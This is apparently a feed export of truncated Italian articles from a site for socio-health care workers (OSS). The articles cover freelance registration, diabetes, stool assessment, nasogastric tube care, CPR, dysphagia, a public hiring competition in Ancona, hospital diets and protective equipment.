) è fondamentale nel panorama dell'assistenza alla persona. Oltre alla possibilità di lavorare come dipendente, l'O. S. S. può intraprendere una carriera come libero professionista, aprendo la propria partita IVA. In questo articolo esploreremo cosa significa essere un OSS libero professionista, quali sono le sfide e le opportunità di questa scelta. Cos'è una libera professione per un Operatore Socio Sanitario (OSS)? La libera professione per un O. S. S. significa lavorare in autonomia, decidendo quando e dove offrire assistenza. Questo può includere servizi domiciliari per le famiglie, una scelta che negli ultimi anni ha visto un aumento significativo della domanda. Come diventare OSS Libero Professionista Per avviare la propria attività come OSS libero professionista, l'Operatore Socio Sanitario deve aprire una partita IVA e registrarsi presso gli enti competenti. Ecco alcuni passaggi per iniziare: Ottenere la qualifica professionale di O. S. S. Richiedere la partita IVA presso l'Agenzia delle Entrate. Vantaggi della libera professione per un O. S. S. : Autonomia lavorativa: possibilità di scegliere quando e dove operare. Flessibilità degli orari: libertà di stabilire i propri orari di lavoro. Assistenza domiciliare: possibilità di offrire assistenza direttamente alle famiglie nel loro ambiente domestico. L'assistenza domiciliare rappresenta una scelta sempre più diffusa, poiché permette un contatto più diretto e personalizzato con i pazienti e le loro famiglie. Negli ultimi anni, la domanda di professionisti O. S. S. nel settore dell'assistenza domiciliare è cresciuta significativamente, offrendo ampie prospettive di carriera per chi desidera intraprendere la libera professione. Cos'è una partita IVA per OSS Una Partita IVA (Imposta sul Valore Aggiunto) è un codice fiscale utilizzato in Italia per identificare le imprese e i professionisti che svolgono attività commerciali o professionali autonomamente. È costituito da undici cifre e viene rilasciato dall'Agenzia delle Entrate, l'ente fiscale italiano. Una Partita IVA è necessaria per molteplici ragioni: Identificazione Fiscale: Serve per identificare in modo univoco un'azienda o un professionista agli occhi delle autorità fiscali e di altri enti pubblici. Fatturazione: Per emettere e ricevere fatture fiscali per le transazioni commerciali o professionali effettuate. Pagamento delle imposte: Attraverso la Partita IVA vengono versate le imposte sul reddito (IRPEF per le persone fisiche, IRAP per le imprese), l'IVA, le imposte sui redditi di lavoro autonomo, etc. Accesso al Credito: Alcune istituzioni finanziarie richiedono la Partita IVA per concedere prestiti o aperture di credito alle imprese. Attività internazionali: Nell'ambito del commercio internazionale, la Partita IVA è spesso richiesta per le transazioni tra imprese di diversi paesi al fine di agevolare gli scambi commerciali e monitorare le transazioni internazionali. In sostanza, la Partita IVA è uno strumento fondamentale per le imprese e i professionisti per operare in conformità con le leggi fiscali e per gestire le loro attività in modo legale e trasparente. Scopri quanto può guadagnare un Operatore Socio Sanitario con la sua Partita IVA Il guadagno di un OSS libero professionista che apre, quindi, una partita IVA dipende da diversi fattori, tra cui la regione in cui opera, l'esperienza professionale, la tipologia di servizi... --- > Esplora le sfide del paziente diabetico, scopri sintomi, terapie e consigli per una gestione ottimale. Approfondimenti utili per aspiranti professionisti della salute. - Published: 2024-03-16 - Modified: 2024-03-11 - URL: https://ossinreparto.it/paziente-diabetico-approfondimenti-consigli/ - Categorie: Assistenza alla Persona Il diabete è una condizione medica caratterizzata da livelli elevati di zucchero nel sangue a causa di un'insufficiente produzione di insulina o da una resistenza del corpo nei confronti di questa sostanza. L'insulina è un ormone prodotto dal pancreas che regola il livello di zucchero nel sangue. Il diabete può portare a vari problemi di salute, tra cui malattie cardiovascolari, danni ai nervi, problemi renali e altri. Esistono due principali tipi di diabete: il tipo 1, in cui il corpo non produce insulina, e il tipo 2, in cui il corpo non utilizza correttamente l'insulina che produce. La gestione del diabete spesso richiede una combinazione di dieta, esercizio fisico e, in alcuni casi, farmaci o insulina. Il diabete mellito rappresenta una sfida crescente nella pratica medica, coinvolgendo due forme principali: il diabete di tipo 1 (IDDM) e il diabete di tipo 2 (NIDDM). Questo articolo si propone di esplorare le caratteristiche distintive di entrambi, i sintomi di insorgenza, le terapie disponibili, i rischi associati alla gestione e gli obiettivi del trattamento. Che cos'è il diabete? Nel nostro organismo il livello di zucchero nel sangue (glicemia) è regolato in maniera molto precisa da un ormone chiamato insulina, questa sostanza è prodotta da una ghiandola che è situata nell'addome, il pancreas in condizioni normali il pancreas misura continuamente la glicemia: se questa aumenta, il pancreas rilascia nel sangue una quantità di insulina sufficiente a evitarne l'eccessivo aumento; nel caso invece che la glicemia tenda a diminuire, il pancreas stesso riduce la produzione di insulina. Diabete di Tipo 1: Una Prospettiva Approfondita Fattori di Sviluppo Il diabete di tipo 1 è un'entità autoimmune, con fattori genetici, immunitari ed ambientali che convergono nella distruzione delle cellule beta pancreatiche. L'insorgenza è rapida e richiede spesso ricovero ospedaliero. Colpisce persone con età tra 0 e 40 anni circa, che hanno una predisposizione genetica alla malattia e che vengono colpite da un'infezione virale che danneggia il pancreas. In particolare, vengono danneggiate le cellule che producono l'insulina (le cellule beta presenti nelle isole di Langerhans). Il pancreas, così danneggiato, non viene più riconosciuto come proprio dell'organismo che lo combatte e tenta di distruggerlo. L'insulina non viene più prodotta e deve essere somministrata dall'esterno, per via sottocutanea o intravenosa. Sintomi di Insorgenza I sintomi indicativi includono poliuria, polidipsia, polifagia e calo ponderale. L'iperglicemia e la presenza di glicosuria sono evidenti negli esami di laboratorio. Terapia Il trattamento fondamentale è insulinico, con varie tipologie di insulina e schemi terapeutici intensivi per mimare la secrezione pancreatica fisiologica. Diabete di Tipo 2: Una Visione Dettagliata Fattori di Rischio Il diabete di tipo 2 coinvolge una combinazione di fattori genetici, acquisiti ed ambientali. L'insorgenza è più graduale e spesso associata a condizioni come sovrappeso, obesità, e stile di vita sedentario. Sintomi e Diagnosi La diagnosi può avvenire casualmente o attraverso esami di laboratorio. La terapia si basa su diete, antidiabetici orali e, in casi selezionati, trattamento insulinico. Classi di Farmaci Gli antidiabetici orali, come le Sulfaniluree e le Biguanidi, giocano un ruolo chiave nella gestione del diabete di tipo 2. Caratteristiche dell'anziano diabetico Con il termine di circoli viziosi si indicano invece situazioni nelle quali un evento patologico condiziona l'insorgenza di un altro che, a sua volta, potenzia o peggiora la patologia iniziale, esempio: certi farmaci, oppure una malattia febbrile, possono dare luogo nell'anziano alla comparsa di uno stato confusionale ciò comporta una ridotta assunzione di liquidi che conduce alla disidratazione. La disidratazione, a sua volta, peggiora lo stato confusionale chiudendo così il ciclo e conferendo gravità crescente all'evento patologico iniziale. Scarso riconoscimento dei sintomi dell'ipoglicemia, evento molto più comune nei pazienti anziani infatti, frequentemente i sintomi (disorientamento, confusione, sudorazione) possono essere confusi con patologie concomitanti l'incoscienza dell'ipoglicemia aumenta... --- > Scopri come interpretare le variazioni nelle feci e riconoscere segnali di problemi di salute gastrointestinale. Informazioni utili per una migliore comprensione del tuo corpo. - Published: 2024-03-14 - Modified: 2024-07-23 - URL: https://ossinreparto.it/guida-alle-feci-come-interpretarle/ - Categorie: Anatomia - Tag: Guide OSS Questo articolo si propone di guidarti nel riconoscere e interpretare le varie caratteristiche delle feci, essenziali per una corretta valutazione medica. Le feci costituiscono un indicatore cruciale del funzionamento del nostro sistema digerente, offrendo preziose informazioni sulla nostra salute. Le feci, il risultato finale del processo di eliminazione, sono composte da una vasta gamma di componenti, riflettendo il nostro stato di salute e la nostra dieta. L'osservazione accurata delle feci può rivelare condizioni fisiologiche o patologiche del tratto gastrointestinale, svolgendo un ruolo fondamentale nella diagnosi di disturbi digestivi. Questo articolo si propone di guidarti nel riconoscere e interpretare le varie caratteristiche delle feci, essenziali per una corretta valutazione medica. Composizione delle Feci Consistenza e Peso: Normalmente semisolide e cilindriche, con un peso di 150-300 g. Colorazione: Varia dal marrone al marrone chiaro o scuro, influenzata dall'alimentazione e dall'idratazione. Contenuto: Acqua, elettroliti, residui non digeriti, grassi, fibre, muco, batteri commensali e sostanze inorganiche. Le deiezioni normali, in un individuo in buona salute, presentano una consistenza semisolido, cilindrica, "modellata", con un peso di circa 150-300 g (100-150 g nei bambini), una tonalità che può variare dal marrone al marrone chiaro o scuro a seconda di vari fattori, tra cui principalmente il tipo di alimentazione consumata e la quantità di liquidi e fibre presenti. Il contenuto normale delle deiezioni è composto da acqua, elettroliti, residui solidi non digeriti, grassi e loro derivati, cellule e materiale di desquamazione della mucosa, fibre, muco, enzimi e secrezioni o materia organica, sostanze inorganiche (come calcio e fosfati), Batteri commensali. In condizioni patologiche, oltre agli elementi sopra citati, possono essere presenti anche sangue, eccesso di muco, batteri patogeni, parassiti e loro uova, acidi grassi in eccesso, alimenti non digeriti, materiale purulento, ecc. Segnalazioni dalle Feci Le caratteristiche delle feci forniscono preziose informazioni sulla salute gastrointestinale e possono indicare condizioni patologiche. L'esame accurato delle deiezioni e la corretta interpretazione delle variazioni nel loro aspetto sono quindi molto utili, talvolta essenziali, nell'esame clinico in quanto possono rappresentare un importante indicatore delle condizioni del paziente e aiutare il medico a valutare meglio lo stato di salute e/o a definire il quadro clinico, specialmente in presenza di problemi gastroenterici, acuti e/o cronici (come la maldigestione, il malassorbimento, la disbiosi, l'intossicazione, l'ittero, l'insufficienza pancreatica, la celiachia, l'emorragia digestiva, l'enterocolite, il colon irritabile, le neoplasie, le infestazioni parassitarie intestinali, la stipsi, ecc. ). In particolare, le deiezioni possono indicare se il processo digestivo (digestione, assorbimento, reazioni biochimiche, processi metabolici e ormonali, ecc. ) avvenga regolarmente, o se invece ci sia qualche anomalia in qualche organo o fase specifica del processo digestivo che richieda un intervento correttivo e/o riparativo. Tuttavia, talvolta alcune caratteristiche apparentemente patologiche delle deiezioni possono essere solo il risultato di una particolare dieta, in assenza di patologie effettive. Inoltre, a volte può essere necessario analizzare le deiezioni più approfonditamente, con l'ausilio di laboratorio, per quanto riguarda la loro composizione chimico-fisica, il pH, la presenza o l'assenza di muco, cellule, batteri patogeni, fibre o corpi non digeriti, cellule desquamate, elementi ematici (ad esempio, sangue occulto), ecc. Indicatori di Problemi Gastrointestinali Sangue Occulto: Può indicare lesioni o patologie come polipi intestinali o carcinoma. Analisi Approfondite:... --- > Scopri come gestire correttamente un sondino naso gastrico, dall'igiene alla nutrizione, per garantire il benessere del paziente. Informazioni utili per OSS. - Published: 2024-03-12 - Modified: 2024-03-11 - URL: https://ossinreparto.it/gestione-sondino-naso-gastrico-procedure/ - Categorie: Assistenza alla Persona Questo articolo fornirà informazioni dettagliate sulla gestione di un SNG, inclusi compiti e procedure specifiche, rivolgendosi sia agli operatori sanitari che ai familiari coinvolti nell'assistenza. Il corretto utilizzo e la gestione di un Sondino Naso Gastrico (SNG) sono cruciali per garantire il benessere dei pazienti che necessitano di supporto nutrizionale. Questo articolo fornirà informazioni dettagliate sulla gestione di un SNG, inclusi compiti e procedure specifiche, rivolgendosi sia agli operatori sanitari che ai familiari coinvolti nell'assistenza. Fissaggio del Sondino Naso Gastrico Il corretto fissaggio del SNG è fondamentale per evitare complicanze e garantire un flusso costante di nutrienti. Alcuni punti chiave da considerare sono: Assicurarsi che il paziente sia in posizione semiseduta (30°) per prevenire il reflusso e facilitare la peristalsi. Verificare che il sondino sia ben fissato e che non ci siano arrossamenti o lesioni sul naso. Osservare e segnalare eventuali anomalie all'infermiere responsabile. Igiene del Naso nel Portatore di SNG L'igiene del naso è essenziale per prevenire infezioni e irritazioni. Seguire questi passaggi: Spiegare la procedura al paziente. Lavarsi le mani e indossare i guanti. Pulire delicatamente le narici con soluzione fisiologica e fissare nuovamente il sondino con un cerotto ipoallergenico. Prestare particolare attenzione all'idratazione delle mucose nasali e orali. Gestione della PEG o PEJ La gestione della Gastrostomia Endoscopica Percutanea (PEG) o della Digiunostomia Endoscopica Percutanea (PEJ) richiede un'attenzione specifica all'igiene e alla preparazione dei nutrienti. Di seguito sono elencati i compiti correlati: Assicurarsi dell'igiene della stomia attraverso il lavaggio quotidiano della cute circostante. Preparare correttamente gli alimenti e l'ambiente per l'infusione. Sorvegliare attentamente il paziente durante il pasto e segnalare eventuali sintomi anormali. Pulire accuratamente il cavo orale per mantenere l'igiene e prevenire complicanze. Procedura dettagliata per la gestione del sondino naso-gastrico: Un'analisi completa Prima di avviare la manipolazione degli alimenti, è imprescindibile eseguire un accurato lavaggio delle mani utilizzando acqua e sapone. Per quanto riguarda la preparazione degli alimenti, se sono già disponibili in forma liquida o in polvere da ricostituire, è necessario seguire scrupolosamente le istruzioni di preparazione riportate sulla confezione. Nel caso si debbano mischiare diversi alimenti, ci si deve assicurare di utilizzare contenitori idonei e rispettare le norme igieniche. Successivamente, è fondamentale posizionare il paziente in modo semi-seduto per agevolare l'infusione del preparato. Durante il pasto, è importante mantenere costante osservazione del paziente, controllando la corretta posizione della sonda e segnalando tempestivamente eventuali sintomi come tosse, difficoltà respiratorie o alterazioni della coscienza. La gestione della sonda richiede una pulizia regolare prima e dopo ogni somministrazione, utilizzando acqua tiepida. Nel caso di somministrazione continua, è necessario lavare la sonda periodicamente ogni 3-4 ore per evitare occlusioni. È fondamentale evitare di pinzare la sonda e chiuderla adeguatamente durante i periodi di non utilizzo. Infine, è importante registrare giornalmente la quantità di soluzione nutritiva somministrata e settimanalmente il peso corporeo del paziente. La pulizia del cavo orale e l'igiene personale sono altrettanto cruciali per prevenire complicazioni e garantire il benessere del paziente. Alcuni consigli pratici per semplificare la gestione del sondino naso-gastrico Ecco alcuni suggerimenti pratici da seguire durante la somministrazione di alimenti attraverso un sondino: Assicurarsi che il sondino sia posizionato in modo che il tronco sia inclinato di almeno... --- > Scopri l'importanza del Basic Life Support (BLS) e le competenze essenziali per una RCP efficace. Una guida completa per aspiranti professionisti della salute - Published: 2024-02-24 - Modified: 2024-02-22 - URL: https://ossinreparto.it/bls-competenze-chiave/ - Categorie: Assistenza alla Persona Questo articolo fornirà una panoramica completa del BLS, concentrandosi sulle competenze necessarie per eseguire una corretta Rianimazione Cardiopolmonare (RCP) su pazienti di tutte le età. In qualità di volontaria, la mia passione per questo argomento deriva dall'obbligo quasi etico degli operatori sanitari di acquisire competenze che, se applicate correttamente, possono salvare vite in situazioni critiche. Il Basic Life Support (BLS) rappresenta una competenza cruciale per preservare la vita in caso di arresto cardiaco. Questo articolo fornirà una panoramica completa del BLS, concentrandosi sulle competenze necessarie per eseguire una corretta Rianimazione Cardiopolmonare (RCP) su pazienti di tutte le età. In qualità di volontaria, la mia passione per questo argomento deriva dall'obbligo quasi etico degli operatori sanitari di acquisire competenze che, se applicate correttamente, possono salvare vite in situazioni critiche. Capire lo Shock: Definizioni, Tipologie e Cause Per comprendere meglio questo argomento dobbiamo definire correttamente il concetto di shock. Lo shock è una condizione in cui si verificano gravi disturbi sia emodinamici che metabolici, caratterizzati da una perfusione tessutale inadeguata. Esso può derivare da traumi, lesioni o altre condizioni. Esistono quattro principali tipologie di shock e oggi inizieremo con lo shock cardiogeno. Questo tipo di shock può essere provocato da diverse patologie che compromettono la funzione contrattile del miocardio. La causa più comune è l'infarto miocardico acuto (IMA). Inoltre, vi sono tre forme di shock distributivo: settico, anafilattico e neurogeno. In tutti questi casi lo shock è originato da una vasodilatazione e da una distribuzione anomala dei fluidi all'interno del sistema circolatorio. La Catena della Sopravvivenza Prevenzione e Preparazione Identificazione tempestiva dei rischi cardiovascolari. Formazione continua per riconoscere segni di arresto cardiaco imminente. Attivazione del Sistema di Risposta alle Emergenze Prontezza nel chiamare i soccorsi. Utilizzo efficace dei mezzi di comunicazione d'emergenza. RCP di Alta Qualità Riconoscimento rapido di un arresto cardiaco. Competenze nella somministrazione di compressioni toraciche e ventilazioni. Rianimazione Avanzata e Recupero Interventi avanzati post-arresto cardiaco. Supporto nella fase di recupero. Chiunque Può Essere un Soccorritore Le competenze specifiche di BLS possono variare in base a diversi fattori, tra cui il livello di formazione, l'esperienza e la sicurezza del soccorritore. In situazioni con più soccorritori, è possibile adottare diverse forme di RCP a più soccorritori, coordinando le azioni per massimizzare l'efficacia del soccorso. Passaggi del Soccorritore Fase 1: Sicurezza della Scena Valutazione della sicurezza per il soccorritore e la vittima. Fase 2: Stato di Coscienza della Vittima Verifica tramite tocco e richiesta vocale. Attivazione immediata del sistema di risposta d'emergenza in caso di mancanza di risposta. Fase 3: Valutazione di Respirazione e Polso Valutazione simultanea per non oltre 10 secondi. Azioni basate sull'esito della valutazione. Se la vittima respira normalmente e ha un polso, monitorarla. Se la vittima non respira normalmente ma ha un polso, eseguire la ventilazione di soccorso con un ritmo di 1 ventilazione ogni 6 secondi o 10 ventilazioni al minuto. Controllare il polso ogni 2 minuti. Se la vittima non presenta respirazione o solo gasping e non ha polso, iniziare la RCP. Fase 4: Inizio della RCP 30 compressioni seguite da 2 ventilazioni. Utilizzo dell'AED se disponibile. Fase 5 e 6: Istruzioni dell'AED Seguire le indicazioni del defibrillatore automatico esterno. Fase 7: Gestione del Ritmo Defibrillabile Erogazione di scariche se rilevato un ritmo defibrillabile. Continuazione della RCP secondo le istruzioni dell'AED. Valutazione di Respirazione e Polso Respirazione Esame del torace per... --- > Scopri i segni, le cause e i consigli per affrontare la disfagia. Informazioni chiare e utili per migliorare la salute del paziente disfagico. Leggi di più! - Published: 2024-02-22 - Modified: 2024-05-20 - URL: https://ossinreparto.it/disfagia/ - Categorie: Anatomia L'obiettivo è quello di fornire un quadro completo e informativo che non solo sensibilizzi sulla complessità della disfagia, ma che offra anche strumenti utili per affrontare e gestire questa condizione in modo più consapevole e attivo. La disfagia, rappresentata dalla complessità della difficoltà nella deglutizione, emerge come una condizione di rilevante impatto sulla quotidianità e sulla qualità di vita di chi ne è affetto. In questo approfondimento, esploreremo in dettaglio il panorama della disfagia, delineando una chiara distinzione tra la sua manifestazione orofaringea ed esofagea. Attraverso questo percorso esplorativo, non solo ci soffermeremo sulle sfaccettature della condizione stessa, ma analizzeremo altresì le potenziali complicanze correlate e forniremo consigli pratici fondamentali per affrontare questa sfida in modo efficace e migliorare la gestione quotidiana. L'obiettivo è quello di fornire un quadro completo e informativo che non solo sensibilizzi sulla complessità della disfagia, ma che offra anche strumenti utili per affrontare e gestire questa condizione in modo più consapevole e attivo. Disfagia Orofaringea La disfagia orofaringea coinvolge la difficoltà nel far passare il materiale dalla bocca all'esofago, spesso associata a patologie neurologiche o disturbi muscolari. Segni come difficoltà nell'iniziare la deglutizione, rigurgito nasale e tosse possono indicare questa forma. Cause e Segni Distintivi Patologie neurologiche o disturbi muscolari prevalenti. Difficoltà ad iniziare la deglutizione e tosse conseguente. Rigurgito nasale e aspirazione tracheale. La disfagia orofaringea può determinare l'aspirazione in trachea di materiale ingerito, secrezioni orali o entrambi. L'aspirazione può determinare una polmonite acuta; un'aspirazione ricorrente può infine portare a una patologia respiratoria cronica. Una prolungata disfagia spesso causa un'inadeguata nutrizione e conseguente perdita di peso. Disfagia Esofagea La disfagia esofagea si manifesta con difficoltà nel passaggio del cibo lungo l'esofago, spesso causata da disturbi della motilità o ostruzioni meccaniche. Complicanze e Rischi Perdita di peso e malnutrizione. Aspirazione in trachea, polmoniti ricorrenti. Possibile addensamento di cibo con rischio di perforazione esofagea. La disfagia esofagea può portare a perdita di peso, malnutrizione, aspirazione in trachea di materiale ingerito e, in casi gravi, ad addensamento di cibo. L'occlusione da cibo pone i pazienti a rischio di perforazione esofagea spontanea, che può portare a sepsi e persino al decesso. Segni d'Allarme e Consigli La disfagia richiede attenzione, con segni d'allarme come ostruzione completa, perdita di peso, nuovi deficit neurologici, e polmoniti ricorrenti. In caso di tali sintomi, la consulenza medica è essenziale per una valutazione accurata. Trattamento della Disfagia Il trattamento della disfagia è diretto alla causa specifica. Se si verifica un'occlusione completa, è indicata un'endoscopia del tratto superiore di emergenza. Se si individua un restringimento, un anello o una membrana, si esegue una cauta dilatazione endoscopica. In attesa della risoluzione, i pazienti con disfagia orofaringea possono trarre beneficio dalla valutazione da parte di uno specialista della riabilitazione. Talvolta i pazienti traggono vantaggio da una diversa posizione del capo durante i pasti, da una rieducazione dei muscoli della deglutizione, da esercizi che migliorano la capacità di accogliere un bolo alimentare nella cavità orale o da esercizi di rinforzo e coordinazione per la lingua. I pazienti con grave disfagia e aspirazione ricorrente possono richiedere una sonda da gastrostomia. Elementi di Geriatria: Disfagia La masticazione, la deglutizione, la degustazione e la comunicazione richiedono una funzione neuromuscolare intatta e coordinata di bocca, viso e collo.... --- > Scopri come partecipare al Concorso OSS Ancona 2024 per coprire 22 posti di Operatore Socio Sanitario. Requisiti, prove d'esame e scadenze da non perdere. - Published: 2024-02-22 - Modified: 2024-02-22 - URL: https://ossinreparto.it/concorso-oss-ancona-2024/ - Categorie: News Concorsi, Concorsi Il Concorso OSS Ancona 2024 rappresenta un'opportunità cruciale nel settore sanitario, offrendo la possibilità di coprire 22 posti di Operatore Socio Sanitario (OSS) nell'area degli operatori socio-sanitari. Il Concorso OSS Ancona 2024 rappresenta un'opportunità cruciale nel settore sanitario, offrendo la possibilità di coprire 22 posti di Operatore Socio Sanitario (OSS) nell'area degli operatori socio-sanitari. Ecco come partecipare al concorso. Requisiti e Procedure Requisiti Generali e Specifici Per essere ammessi al concorso, gli aspiranti devono soddisfare una serie di requisiti, tra cui: Cittadinanza italiana o equiparazione prevista dalla legge Idoneità alla mansione specifica Diploma di istruzione secondaria di primo grado o equivalente Attestato di qualifica di Operatore Socio Sanitario Altri requisiti specifici di ammissione, come previsto dal bando. Modalità di Presentazione della Domanda La domanda di partecipazione deve essere presentata esclusivamente tramite procedura telematica, seguendo le istruzioni fornite nel bando ufficiale. È fondamentale osservare scrupolosamente le direttive indicate, includendo tutti i documenti richiesti e pagando il contributo di partecipazione entro i termini stabiliti. cambiami le seguenti parole: accedendo al seguente indirizzo web: https://astancona. selezionieconcorsi. it, compilando lo specifico modulo online. Nella domanda di ammissione al concorso, compilata in via telematica, i candidati dovranno dichiarare, sotto la propria personale responsabilità: i dati anagrafici (cognome e nome, codice fiscale, luogo e data di nascita, residenza ed eventuale domicilio, se diverso dalla residenza, recapito telefonico e indirizzo di posta elettronica ordinario – mail); l’indirizzo di posta elettronica certificata personale (P. E. C. ); il possesso della cittadinanza italiana, oppure i requisiti sostitutivi; di non essere stato escluso dall’elettorato politico attivo; il comune di iscrizione nelle liste elettorali, oppure i motivi della non iscrizione o della cancellazione dalle liste medesime; la posizione nei riguardi degli obblighi militari; le eventuali condanne penali riportate e/o gli eventuali procedimenti penali pendenti, oppure di non aver riportato condanne penali né di essere a conoscenza di procedimenti penali a carico; di non essere stato interdetto dai pubblici uffici a seguito di sentenza passata in giudicato; la dispensa o la destituzione dall’impiego presso Pubbliche Amministrazioni, oppure di non essere stato destituito o dispensato dall’impiego presso Pubbliche Amministrazioni per persistente insufficiente rendimento, oppure di non essere stato licenziato; il possesso dei requisiti specifici di ammissione; gli ausili eventualmente necessari per l’espletamento delle prove di esame in relazione al proprio handicap, nonché l’eventuale necessità di tempi aggiuntivi ai sensi dell’art. 20 della L. 104/1992; l'autorizzazione al trattamento dei dati personali ai sensi del nuovo Regolamento Europeo in materia di privacy (n. 2016/679) e del D. Lgs. n. 196/2003 e s. m. i. accettazione, senza riserve o eccezioni, del contenuto del presente bando; il servizio prestato come dipendente, nel profilo a concorso o in qualifiche corrispondenti, presso pubbliche amministrazioni, case di cura convenzionate o accreditate, oppure di non aver mai prestato servizio presso pubbliche amministrazioni; il servizio prestato all’estero nel profilo a concorso ai sensi dell’art. 22 DPR 220/2001, se riconosciuto; il servizio militare/servizio civile prestato nel profilo a concorso o in qualifiche diverse dal profilo a concorso; titoli accademici o di studio; le pubblicazioni e i titoli scientifici; le attività formative e professionali; gli eventuali titoli di preferenza, precedenza o riserva previsti dalle disposizioni di legge; l’opzione di una sola... --- > Approfondisci le diete ospedaliere e scopri come scelte nutrizionali mirate possono favorire la guarigione. - Published: 2024-01-16 - Modified: 2024-05-20 - URL: https://ossinreparto.it/diete-ospedaliere/ - Categorie: Assistenza alla Persona le diete ospedaliere sono strumenti fondamentali nella gestione delle condizioni cliniche, promuovendo il recupero e il benessere del paziente. La personalizzazione delle diete a seconda delle esigenze individuali è cruciale per ottenere risultati ottimali. La collaborazione tra medici, dietisti e operatori sociosanitari assicura un approccio completo per un recupero salutare. Gli interventi assistenziali volti a promuovere un'ottimale nutrizione per i pazienti ospedalizzati o in altre strutture sanitarie sono spesso erogati in collaborazione con il medico, che prescrive le indicazioni dietetiche, e con il dietista/nutrizionista, che informa i pazienti relativamente alle diete speciali. L'operatore sociosanitario rafforza tali istruzioni e crea un'atmosfera di incoraggiamento, monitorando l'appetito e il consumo di cibo del paziente, somministrando l'alimentazione enterale e parenterale e consultandosi costantemente con il medico e il dietologo sui problemi nutrizionali. In questo articolo, esploreremo diverse tipologie di diete ospedaliere e le relative indicazioni. Regime alimentare bilanciato Con regime alimentare bilanciato si intende l'insieme degli alimenti che gli esseri umani assumono per nutrirsi. Tale regime si caratterizza per la qualità e la quantità dei nutrienti. Deve prevedere, nell'arco dell'intera giornata: Colazione: 25% Spuntino: 5% Pranzo: 35% Merenda: 5% Cena: 35% Le nuove regole per mangiare sano suggeriscono di mangiare un po' di grassi buoni e cibi integrali come cereali. Dicono anche di evitare i carboidrati raffinati e la carne rossa. Questi consigli provengono da studi effettuati su molte persone per capire cosa sia meglio per la salute. Seguire questi suggerimenti può aiutare a prevenire problemi al cuore. Fare esercizio spesso e mantenere un peso normale può anche aiutare a ridurre il rischio di avere alcuni tipi di cancro. Diete speciali Modifiche della dieta sono spesso necessarie per il trattamento di un processo patologico, come il diabete mellito, la preparazione a esami particolari o a procedure chirurgiche, per incrementare o ridurre il peso corporeo, colmare deficit nutrizionali o facilitare la guarigione di un organo. Le diete possono variare in termini di composizione, apporto calorico, nutrienti specifici, condimento o consistenza. I regimi alimentari comprendono: Dieta Liquida: Limitata al consumo di acqua, caffè, tè, brodo, succhi di frutta e gelatina, fornisce liquidi e carboidrati, è a breve termine (da 24 a 36 ore), somministrata a pazienti sottoposti a interventi chirurgici o in fase acuta di infezioni. Dieta Semiliquida: Contiene solo liquidi o alimenti che diventano liquidi alla temperatura corporea, come il gelato. Non è raccomandabile a lungo termine perché è povera di ferro, proteine e calorie. Ha un elevato contenuto di colesterolo a causa di grandi quantità di latte. Solitamente somministrata a pazienti con disturbi gastrointestinali. Dieta Morbida: Costituita da alimenti facilmente masticabili, è digeribile ed è spesso prescritta a pazienti con difficoltà di deglutizione e masticazione. È a basso residuo, contenente pochissimi alimenti crudi. Altre diete che possono ridurre il rischio di gravi patologie includono: Dieta iposodica: una dieta a basso contenuto di sale è quando si mangiano cibi con poca quantità di sodio. Il sale che si aggiunge ai cibi e quello presente in alcuni alimenti, se mangiati in grandi quantità, fanno salire la pressione del sangue. Questo tipo di dieta è particolarmente importante per le persone con problemi al cuore. Dieta ipocalorica: una dieta a basso contenuto calorico è quando si mangiano meno calorie di quante il corpo ne ha bisogno ogni giorno. Questa dieta è consigliata per le persone obese, che sono... --- > Esplora la nostra guida completa sui Dispositivi di Protezione Individuale (DPI) per assicurare la massima sicurezza sul lavoro. - Published: 2024-01-14 - Modified: 2024-07-23 - URL: https://ossinreparto.it/dispositivi-protezione-individuale-dpi/ - Categorie: Igiene e Sicurezza - Tag: Guide OSS La sicurezza sul luogo di lavoro è di primaria importanza, e i Dispositivi di Protezione Individuale (DPI) svolgono un ruolo fondamentale nel garantire la tutela dei lavoratori. La sicurezza sul luogo di lavoro è di primaria importanza, e i Dispositivi di Protezione Individuale (DPI) svolgono un ruolo fondamentale nel garantire la tutela dei lavoratori. Questo articolo esplorerà dettagliatamente l'importanza, le normative e i requisiti dei DPI, con un focus particolare sulle disposizioni del Decreto Legislativo 81/2008. Normative e Obblighi dei Lavoratori Obblighi Generali Il Decreto Legislativo 81/2008 sottolinea gli obblighi fondamentali dei lavoratori per garantire la propria sicurezza e quella degli altri presenti sul luogo di lavoro. Questi obblighi includono l'osservanza delle disposizioni e istruzioni fornite dal datore di lavoro, dai dirigenti e dai preposti. Utilizzo Adeguato degli Strumenti di Sicurezza I lavoratori devono utilizzare correttamente le attrezzature di lavoro, le sostanze pericolose e i dispositivi di sicurezza. Un aspetto cruciale è l'utilizzo appropriato degli strumenti di protezione individuale, come sottolineato dall'art. 20 del decreto. Dispositivi di Protezione Individuale (DPI) Definizione e Variazioni Tra i requisiti dei DPI è previsto che essi debbano: Essere idonei ai rischi da prevenire, senza costituire un rischio maggiore. Essere adeguati alle condizioni esistenti sul luogo lavorativo. Considerare le esigenze ergonomiche e di salute dei lavoratori. Essere compatibili tra loro, nel caso di rischi multipli e dell'utilizzo simultaneo di più DPI. Essere di facile indossamento e rimozione in caso di emergenza. Prima di esaminare nel dettaglio i Dispositivi di Protezione Individuale, è opportuno sottolineare immediatamente quali attrezzature e strumentazioni vanno escluse da questa definizione: Indumenti di lavoro ordinari e uniformi non specificamente destinati alla salute e sicurezza del lavoratore. Attrezzature dei servizi di soccorso e di salvataggio. Dispositivi di protezione individuale delle forze armate, forze di polizia e personale per il mantenimento dell'ordine pubblico. Dispositivi di protezione individuale dei mezzi di trasporto stradali. Materiali sportivi. Materiali per l'autodifesa o dissuasione. Apparecchi portatili per individuare e segnalare rischi e fattori nocivi. I Dispositivi di Protezione Individuale (DPI) sono suddivisi in tre categorie, classificate in ordine crescente in base al livello di rischio associato all'attività lavorativa. DPI di Prima Categoria: Questa categoria comprende dispositivi di protezione destinati a attività con rischio minimo, che possono causare danni di entità lieve (come esposizione a vibrazioni, raggi solari, urti leggeri, fenomeni atmosferici, ecc. ). Tali dispositivi sono autocertificati dal produttore. DPI di Seconda Categoria: In questa categoria rientrano i DPI che non trovano collocazione nelle altre due categorie ed è associata a attività con rischio significativo (il D. Lgs. 475/92 non fornisce una definizione esplicita per questa categoria). L'utilizzo di dispositivi in questa categoria richiede un attestato di certificazione da parte di un organismo di controllo autorizzato. DPI di Terza Categoria: Questa categoria include dispositivi progettati per proteggere il lavoratore da danni gravi o permanenti alla salute o dal rischio di morte. Conformemente alle norme vigenti sulla salute e sicurezza sul lavoro, è obbligatorio ricevere un addestramento specifico per l'uso corretto di tali 